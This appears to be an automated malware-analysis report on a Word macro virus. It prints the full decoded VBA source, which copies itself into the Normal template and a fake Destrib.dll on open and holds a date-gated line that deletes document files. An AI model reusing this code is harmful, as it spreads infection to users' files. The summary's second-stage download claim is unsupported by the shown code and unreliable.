MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Microsoft Word document containing VBA macros. The AutoOpen macro executes a Setup subroutine which appears to copy VBA project items to a DLL named 'Destrib.dll' in the Word application path, and also attempts to copy the macro code into the current document and the DLL. This behavior is indicative of a macro-based malware dropper, likely intended to download and execute a second-stage payload.
Heuristics 5
-
ClamAV: Doc.Trojan.Saver-5 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Saver-5
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1873 bytes |
SHA-256: defc2882b4acbc8e11584ceaa5c12e29d86efe0d09477ea001b94015abf01439 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Destrib"
Sub Setup()
Attribute Setup.VB_Description = "MS - Маздай!"
Word.Options.VirusProtection = True
On Error Resume Next
zz = Word.ActiveDocument.FullName
Application.OrganizerCopy Source:=zz, _
Destination:=Normal.ThisDocument.FullName, Name:="Destrib", _
Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
Destination:=zz, Name:="Destrib", _
Object:=wdOrganizerObjectProjectItems
yy = Word.Application.Path + "\Destrib.dll"
If (Dir(yy) = "") Then
Application.Documents.Add
Application.Documents(1).SaveAs (yy)
Application.Documents(1).Close SaveChanges:=False
Word.RecentFiles.Item(1).Delete
End If
Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
Destination:=yy, Name:="Destrib", _
Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=zz, _
Destination:=yy, Name:="Destrib", _
Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=yy, _
Destination:=zz, Name:="Destrib", _
Object:=wdOrganizerObjectProjectItems
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "MS - Маздай!"
Setup
If Word.ActiveDocument.Name = "Destrib.dll" Then Word.ActiveDocument.Close
End Sub
Sub AutoClose()
Attribute AutoClose.VB_Description = "MS - Маздай!"
If Word.ActiveDocument.Name <> "Destrib.dll" Then
On Error Resume Next
If Day(Date) = 33 Then Kill "*.do?"
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.